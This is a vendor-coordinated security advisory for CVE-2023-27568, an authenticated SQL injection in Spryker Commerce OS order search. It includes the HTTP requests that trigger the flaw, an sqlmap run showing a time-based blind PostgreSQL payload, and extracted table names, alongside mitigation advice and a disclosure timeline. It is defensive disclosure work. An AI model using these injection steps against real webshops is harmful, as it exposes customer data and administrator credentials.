Blog & News

April 20, 2023

Advisory: SQL Injection in Spryker Commerce OS (CVE-2023-27568)

Release of SCHUTZWERK-SA-2023-001

preview-image for SCHUTZWERK-SA-2022-003
Hash: SHA512


SCHUTZWERK-SA-2023-001: SQL Injection in Spryker Commerce OS





CVE reference




Text-only version:

Affected products/vendor

Spryker Commerce OS by Spryker Systems GmbH, with spryker/sales: 11.16.0-11.36.1
or spryker-feature/order-management: 202009.0-202212.0


An SQL injection vulnerability affecting Spryker-based webshops was discovered
in the order history search form. It can be exploited by authenticated
attackers in order to retrieve informationen from the database (e.g. customer
and administrator login information, order details, etc.). Depending on the
configuration of the webshop, access to the file system or even execution of
arbitrary commands on the database management system is possible.


Attackers with valid credentials for Spryker-based webshops are able to exploit
an SQL injection vulnerability in the order history search form. This allows
full access to the application’s database and the data stored within it. This
database will generally contain -- among other information -- personally
identifiable information. Disclosure of such data could lead to reputation
damage for the webshop's owner. In addition, the vulnerability might also pose
legal risks regarding General Data Protection Regulation (GDPR).

Depending on the configured authentication methods, the database will also
contain login information of customers and administrators. Administrative login
information (i.e. username and password hash) could enable attackers to extend
their privileges and access the shop's backend, where administrative actions
can be performed. In combination with the vulnerability described in
SCHUTZWERK-SA-2022-003/CVE-2022-28888 [1], remote command execution could also
be feasible from this position if access to the required environment variables
is possible. The login information of customers could be abused by attackers,
for example if credentials are re-used across different services.

Depending on the DBMS (database management system) in use, write access to the
database could theoretically also be possible. In this case, attackers can
create new users and grant them administrative privileges, again allowing for
privilege escalation. Also, once more depending on the DBMS, reading and
writing files on the file system of the DBMS or even direct execution of
arbitrary system commands could be possible.

The vulnerability can be easily detected, even through automated scanners, and
trivially exploited using tools such as sqlmap [2].


Structured Query Language, abbreviated as SQL, is a standardized programming
language for managing data held in a relational database management system and
performing various operations on the data stored in them. SQL injection
vulnerabilities occur when attacker-controlled data is embedded unchecked in
SQL queries. Such vulnerabilities allow attackers to bypass restrictions in the
application logic and issue manipulated queries to the database server.
Depending on various factors (database management system used, database user
permissions, etc.), it may be possible to read, modify and delete data and
compromise the database or application server.

The Spryker-based webshop examined as part of a customer assessment offers an
order history with a list of orders that have been placed in the past. While
testing this function, it was observed that a server-side error condition was
triggered when a single quotation mark (') was placed in the search term field.
The HTTP request that triggered this error condition is the following
(URL-decoded and shortened for increased readability):

GET /de/customer/order?orderSearchForm[searchType]=all&orderSearchForm[searchText]='&
orderSearchForm[_token]=xX3z_M8hyyBli5XVaGhYomNbQQrc4vyBZxr0oM6bu_A HTTP/1.1
Host: <redacted>
Cookie: <redacted>

If the search term is instead comprised of two single quotation marks, the
server does not return an error message and successfully completes the search

GET /de/customer/order?orderSearchForm[searchType]=all&orderSearchForm[searchText]=''&
orderSearchForm[_token]=xX3z_M8hyyBli5XVaGhYomNbQQrc4vyBZxr0oM6bu_A HTTP/1.1
Host: <redacted>
Cookie: <redacted>

This behavior with respect to the single quotation mark is often an indicator
of SQL injection vulnerabilities. As a next step, the sqlmap [2] utility was
used to partly automate the verification and exploitation phase:

% cat search.req
GET /de/customer/order?orderSearchForm%5BsearchType%5D=all&orderSearchForm%5BsearchText%5D=test*
orderSearchForm%5B_token%5D=xX3z_M8hyyBli5XVaGhYomNbQQrc4vyBZxr0oM6bu_A HTTP/1.1
Host: <redacted>
Cookie: <redacted>

% sqlmap -r search.req --force-ssl --current-db
[10:37:12] [INFO] parsing HTTP request from 'search.req'
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q]
[10:37:12] [INFO] testing connection to the target URL
Parameter: #1* (URI)
Type: time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: https://<redacted>:443/de/customer/order?orderSearchForm[searchType]
=all&orderSearchForm[searchText]=test')) AND 2882=(SELECT 2882 FROM PG_SLEEP(5)) AND
[10:37:14] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL (CockroachDB fork)
[10:37:14] [INFO] fetching current database
current database (equivalent to schema on PostgreSQL): 'public'

The URL parameter orderSearchForm[searchText] was marked with an asterisk in
the request to force sqlmap to focus on this parameter. sqlmap confirmed the
vulnerability and successfully extracted the name of the current database as
"public". Time-based blind SQL injection vulnerabilities are notoriously slow
to exploit. Nonetheless, it was still possible to extract the following list of
tables contained in the current database:

| spy_acl_group |
| spy_acl_group_archive |
| spy_acl_groups_has_roles |
| spy_acl_role |
| spy_acl_role_archive |
| spy_acl_rule |
| spy_acl_rule_archive |
| spy_acl_user_has_group |
| spy_auth_reset_password |
| spy_auth_reset_password_archive |
| spy_availability |
| spy_availability_abstract |
| spy_availability_storage |

Using the same method, access to the content of the different database tables
is possible.


Updated versions of the affected modules have been released by the vendor and
should be applied.

In general, the following mitigation measures apply to SQL injection

It is recommended to use so-called prepared statements with parameterized
queries. With this mechanism, user input is strictly separated from the actual
SQL query. It is then processed only as a string and not as part of the SQL
query. This makes it impossible for an attacker to modify the query itself.

The entire code base should be audited to determine at which other endpoints
SQL queries are generated and used. This should be followed by a migration to
prepared statements. The adaptation should be prioritized based on the risk.
For example, the risk of successful exploitation is significantly higher in the
login screen than in an administrative function that is not visible to normal
users of the application. Accordingly, the source code of the exposed functions
should be adapted first.

In some cases, parameterized queries cannot be used, for example, when the data
fields addressed by the query are dynamic. In such cases, frameworks, database
APIs, or the programming language itself provide functions that mask the inputs
appropriately so that they can be embedded in queries in a safe way. The SQL
injection security guidelines [3] of Spryker should also be considered.

Additional guidelines and recommendations regarding SQL injection are provided
in the SQL Injection Prevention Cheat Sheet [4] of OWASP.

Disclosure timeline

2022-11-25: Vulnerability discovered as part of assessment for customer
2022-12-23: Vulnerablity details sent to vendor, vendor could not open details
            due to S/MIME-related issues
2023-01-09: Vulnerability details sent to vendor in PGP-encrypted form
2023-01-09: Vendor acknowledges receipt of report
2023-01-12: Vendor requests additional information related to customer's
            configuration, SCHUTZWERK provides requested information
2023-01-13: Vendor requests additional information related to customer's
2023-01-16: SCHUTZWERK provides requested information
2023-02-16: Vendor informs SCHUTZWERK that they can reproduce the
            vulnerability and that a fix is in progress
2022-02-28: Vendor confirms that customers were notified about the vulnerability
2023-04-19: Vendor informed of intent to pushlish
2023-04-20: Advisory published by SCHUTZWERK


The vulnerability was discovered during an assessment by David Brown of


[1] https://www.schutzwerk.com/blog/schutzwerk-sa-2022-003/
[2] https://github.com/sqlmapproject/sqlmap
[3] https://docs.spryker.com/docs/scos/dev/guidelines/security-guidelines.html#sql-injection
[4] https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html


The information provided in this security advisory is provided "as is" and
without warranty of any kind. Details of this security advisory may be updated
in order to provide as accurate information as possible. The most recent
version of this security advisory can be found at SCHUTZWERK GmbH's website
( https://www.schutzwerk.com ).


~ David Brown